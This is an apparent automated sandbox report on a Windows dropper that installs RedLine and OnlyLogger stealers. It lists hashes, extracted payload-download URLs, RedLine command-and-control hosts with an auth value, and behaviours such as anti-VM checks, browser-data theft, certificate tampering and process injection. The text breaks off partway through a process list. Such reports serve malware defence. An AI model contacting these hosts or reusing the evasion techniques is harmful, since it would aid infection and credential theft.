Analysis
-
max time kernel
4294202s -
max time network
157s -
platform
windows7_x64 -
resource
win7-20220310-en -
submitted
11-03-2022 23:54
Static task
static1
Behavioral task
behavioral1
Sample
accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe
Resource
win7-20220310-en
Behavioral task
behavioral2
Sample
accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe
Resource
win10v2004-20220310-en
General
-
Target
accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe
-
Size
3.2MB
-
MD5
b34dc8ca6d3a933b4e4479021cd5ae1a
-
SHA1
b55b712901b8ae287ceb9e52db2cc4e8a13ddff7
-
SHA256
accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23
-
SHA512
e189206c71661324910af556aa8b7b22f93774670ed389e3ae6024ccde85827a373820d24f22601ca707cb17be7e1e74eb552e814d6c11615d27fbf17faed93e
Malware Config
Extracted
http://62.204.41.71/cs/SkyDrive.oo
Extracted
http://62.204.41.71/cs/Fax.oo
Extracted
http://62.204.41.71/cs/RED.oo
Extracted
http://62.204.41.71/Offer/Offer.oo
Extracted
redline
DomAni2
flestriche.xyz:80
Extracted
redline
ISTALL1
86.107.197.196:63065
-
auth_value
5fe37244c13b89671311b4f994adce81
Signatures
-
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/2060-161-0x0000000001250000-0x0000000001495000-memory.dmp family_redline behavioral1/memory/2060-162-0x0000000001250000-0x0000000001495000-memory.dmp family_redline behavioral1/memory/2200-176-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral1/memory/2200-179-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral1/memory/2200-181-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral1/memory/2332-186-0x0000000000230000-0x0000000000575000-memory.dmp family_redline behavioral1/memory/1232-244-0x00000000003A0000-0x00000000003C0000-memory.dmp family_redline behavioral1/memory/2060-252-0x0000000001250000-0x0000000001495000-memory.dmp family_redline -
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
-
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
OnlyLogger Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2228-212-0x0000000000240000-0x0000000000284000-memory.dmp family_onlylogger behavioral1/memory/2228-213-0x0000000000400000-0x000000000048C000-memory.dmp family_onlylogger -
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS4B26C766\libcurlpp.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\libcurlpp.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS4B26C766\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS4B26C766\libstdc++-6.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS4B26C766\setup_install.exe aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 43 IoCs
Processes:
setup_installer.exesetup_install.exesonia_2.exesonia_3.exesonia_4.exesonia_1.exesonia_6.exesonia_8.exejfiag3g_gg.exejfiag3g_gg.exeR__d2GzI5RUU0h8empuiRG9s.exet0PTt6rFoJlKnAd4hpMtHFQR.exeuHCHpFCtT8igAwBe3ORiiP35.exeJj3fTHAqbv_pn6K_BTMujrpH.exetrPrC57eohV4i1w2j9JE2_u1.exenwj5IXlNFZhyHuOp_QMCYOnw.exeR_2xJHB7U_Exdlq70wJW319A.exeBOTCcc5VDeHkq__pxVj8ghSK.exeOSLmxTeOITidQny08E6FjFRn.exe1bgaBYLbqOFNY9hlGbWeWuCd.exeSaRjdlCi7M8TQi1W2ES1I2or.exeKOF58QHxbUJ7TvJZibTsDtoI.exe8wNb8HP4zO2XEw4NGikanodH.exeHgUbrQ9PuRV8B3N4L_ItleFx.exesonia_8.exeabqO70C1izNiWgoXMc2xy2sa.exeInstall.exeInstall.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exesonia_5.exe7z.exe7z.exe7z.exeResult_protected.exestgfeegbuild.exe222.exepid process 692 setup_installer.exe 1456 setup_install.exe 1012 sonia_2.exe 1444 sonia_3.exe 2024 sonia_4.exe 1716 sonia_1.exe 1728 sonia_6.exe 1400 sonia_8.exe 956 jfiag3g_gg.exe 1836 jfiag3g_gg.exe 756 R__d2GzI5RUU0h8empuiRG9s.exe 2060 t0PTt6rFoJlKnAd4hpMtHFQR.exe 2216 uHCHpFCtT8igAwBe3ORiiP35.exe 2208 Jj3fTHAqbv_pn6K_BTMujrpH.exe 2228 trPrC57eohV4i1w2j9JE2_u1.exe 2236 nwj5IXlNFZhyHuOp_QMCYOnw.exe 2248 R_2xJHB7U_Exdlq70wJW319A.exe 2276 BOTCcc5VDeHkq__pxVj8ghSK.exe 2268 OSLmxTeOITidQny08E6FjFRn.exe 2284 1bgaBYLbqOFNY9hlGbWeWuCd.exe 2308 SaRjdlCi7M8TQi1W2ES1I2or.exe 2300 KOF58QHxbUJ7TvJZibTsDtoI.exe 2316 8wNb8HP4zO2XEw4NGikanodH.exe 2332 HgUbrQ9PuRV8B3N4L_ItleFx.exe 2200 sonia_8.exe 2444 abqO70C1izNiWgoXMc2xy2sa.exe 2500 Install.exe 2652 Install.exe 2964 7z.exe 2056 7z.exe 2112 7z.exe 1812 7z.exe 1680 7z.exe 2356 7z.exe 2152 7z.exe 2388 sonia_5.exe 2416 7z.exe 2200 7z.exe 1304 7z.exe 2480 Result_protected.exe 2492 stgfeeg 2820 build.exe 1232 222.exe -
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Result_protected.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Result_protected.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Result_protected.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
sonia_6.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Control Panel\International\Geo\Nation sonia_6.exe -
Loads dropped DLL 64 IoCs
Processes:
accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.exesonia_2.exesonia_3.execmd.exesonia_1.exesonia_6.execmd.exesonia_8.exesonia_4.exeWerFault.exejfiag3g_gg.exejfiag3g_gg.exeWerFault.exet0PTt6rFoJlKnAd4hpMtHFQR.exeR__d2GzI5RUU0h8empuiRG9s.exepid process 1836 accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe 692 setup_installer.exe 692 setup_installer.exe 692 setup_installer.exe 692 setup_installer.exe 692 setup_installer.exe 692 setup_installer.exe 1456 setup_install.exe 1456 setup_install.exe 1456 setup_install.exe 1456 setup_install.exe 1456 setup_install.exe 1456 setup_install.exe 1456 setup_install.exe 1456 setup_install.exe 972 cmd.exe 1636 cmd.exe 972 cmd.exe 1568 cmd.exe 516 cmd.exe 1568 cmd.exe 1012 sonia_2.exe 1012 sonia_2.exe 1444 sonia_3.exe 1444 sonia_3.exe 800 cmd.exe 1716 sonia_1.exe 1716 sonia_1.exe 1728 sonia_6.exe 1728 sonia_6.exe 2020 cmd.exe 2020 cmd.exe 1400 sonia_8.exe 1400 sonia_8.exe 2024 sonia_4.exe 2024 sonia_4.exe 1012 sonia_2.exe 1624 WerFault.exe 1624 WerFault.exe 1624 WerFault.exe 2024 sonia_4.exe 2024 sonia_4.exe 956 jfiag3g_gg.exe 956 jfiag3g_gg.exe 1624 WerFault.exe 2024 sonia_4.exe 2024 sonia_4.exe 1836 jfiag3g_gg.exe 1836 jfiag3g_gg.exe 1728 sonia_6.exe 1728 sonia_6.exe 1616 WerFault.exe 1616 WerFault.exe 1616 WerFault.exe 1616 WerFault.exe 1616 WerFault.exe 1616 WerFault.exe 1728 sonia_6.exe 2060 t0PTt6rFoJlKnAd4hpMtHFQR.exe 2060 t0PTt6rFoJlKnAd4hpMtHFQR.exe 756 R__d2GzI5RUU0h8empuiRG9s.exe 756 R__d2GzI5RUU0h8empuiRG9s.exe 2060 t0PTt6rFoJlKnAd4hpMtHFQR.exe 2060 t0PTt6rFoJlKnAd4hpMtHFQR.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
Result_protected.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Result_protected.exe -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 6 ipinfo.io 7 ipinfo.io 9 ip-api.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
t0PTt6rFoJlKnAd4hpMtHFQR.exeHgUbrQ9PuRV8B3N4L_ItleFx.exepid process 2060 t0PTt6rFoJlKnAd4hpMtHFQR.exe 2332 HgUbrQ9PuRV8B3N4L_ItleFx.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
sonia_8.exedescription pid process target process PID 1400 set thread context of 2200 1400 sonia_8.exe sonia_8.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 1624 1456 WerFault.exe setup_install.exe 1616 1444 WerFault.exe sonia_3.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
sonia_2.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates processes with tasklist 1 TTPs 2 IoCs
Processes:
tasklist.exetasklist.exepid process 2708 tasklist.exe 1652 tasklist.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 2856 taskkill.exe -
Processes:
sonia_6.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a sonia_6.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e sonia_6.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a sonia_6.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 sonia_6.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e sonia_6.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 sonia_6.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
Result_protected.exepid process 2480 Result_protected.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
sonia_2.exepid process 1012 sonia_2.exe 1012 sonia_2.exe 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 1308 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 1308 -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
sonia_2.exepid process 1012 sonia_2.exe -
Suspicious use of AdjustPrivilegeToken 53 IoCs
Processes:
7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exetasklist.exetaskkill.exe7z.exe7z.exe7z.exetasklist.exedescription pid process Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeShutdownPrivilege 1308 Token: SeRestorePrivilege 2964 7z.exe Token: 35 2964 7z.exe Token: SeSecurityPrivilege 2964 7z.exe Token: SeSecurityPrivilege 2964 7z.exe Token: SeRestorePrivilege 2056 7z.exe Token: 35 2056 7z.exe Token: SeSecurityPrivilege 2056 7z.exe Token: SeSecurityPrivilege 2056 7z.exe Token: SeRestorePrivilege 2112 7z.exe Token: 35 2112 7z.exe Token: SeSecurityPrivilege 2112 7z.exe Token: SeSecurityPrivilege 2112 7z.exe Token: SeRestorePrivilege 1812 7z.exe Token: 35 1812 7z.exe Token: SeSecurityPrivilege 1812 7z.exe Token: SeSecurityPrivilege 1812 7z.exe Token: SeRestorePrivilege 1680 7z.exe Token: 35 1680 7z.exe Token: SeSecurityPrivilege 1680 7z.exe Token: SeSecurityPrivilege 1680 7z.exe Token: SeRestorePrivilege 2356 7z.exe Token: 35 2356 7z.exe Token: SeSecurityPrivilege 2356 7z.exe Token: SeSecurityPrivilege 2356 7z.exe Token: SeRestorePrivilege 2152 7z.exe Token: 35 2152 7z.exe Token: SeSecurityPrivilege 2152 7z.exe Token: SeSecurityPrivilege 2152 7z.exe Token: SeDebugPrivilege 2708 tasklist.exe Token: SeDebugPrivilege 2856 taskkill.exe Token: SeRestorePrivilege 2416 7z.exe Token: 35 2416 7z.exe Token: SeSecurityPrivilege 2416 7z.exe Token: SeSecurityPrivilege 2416 7z.exe Token: SeRestorePrivilege 2200 7z.exe Token: 35 2200 7z.exe Token: SeSecurityPrivilege 2200 7z.exe Token: SeSecurityPrivilege 2200 7z.exe Token: SeRestorePrivilege 1304 7z.exe Token: 35 1304 7z.exe Token: SeSecurityPrivilege 1304 7z.exe Token: SeSecurityPrivilege 1304 7z.exe Token: SeDebugPrivilege 1652 tasklist.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
pid process 1308 1308 -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
pid process 1308 1308 -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
SaRjdlCi7M8TQi1W2ES1I2or.exepid process 2308 SaRjdlCi7M8TQi1W2ES1I2or.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exesetup_installer.exesetup_install.exedescription pid process target process PID 1836 wrote to memory of 692 1836 accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe setup_installer.exe PID 1836 wrote to memory of 692 1836 accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe setup_installer.exe PID 1836 wrote to memory of 692 1836 accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe setup_installer.exe PID 1836 wrote to memory of 692 1836 accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe setup_installer.exe PID 1836 wrote to memory of 692 1836 accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe setup_installer.exe PID 1836 wrote to memory of 692 1836 accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe setup_installer.exe PID 1836 wrote to memory of 692 1836 accf83b613404a2148dd072534eff8a2a7df652da73ea29f23e7086c59986a23.exe setup_installer.exe PID 692 wrote to memory of 1456 692 setup_installer.exe setup_install.exe PID 692 wrote to memory of 1456 692 setup_installer.exe setup_install.exe PID 692 wrote to memory of 1456 692 setup_installer.exe setup_install.exe PID 692 wrote to memory of 1456 692 setup_installer.exe setup_install.exe PID 692 wrote to memory of 1456 692 setup_installer.exe setup_install.exe PID 692 wrote to memory of 1456 692 setup_installer.exe setup_install.exe PID 692 wrote to memory of 1456 692 setup_installer.exe setup_install.exe PID 1456 wrote to memory of 1636 1456 setup_install.exe cmd.exe PID 1456 wrote to memory of 1636 1456 setup_install.exe cmd.exe PID 1456 wrote to memory of 1636 1456 setup_install.exe cmd.exe PID 1456 wrote to memory of 1636 1456 setup_install.exe cmd.exe PID 1456 wrote to memory of 1636 1456 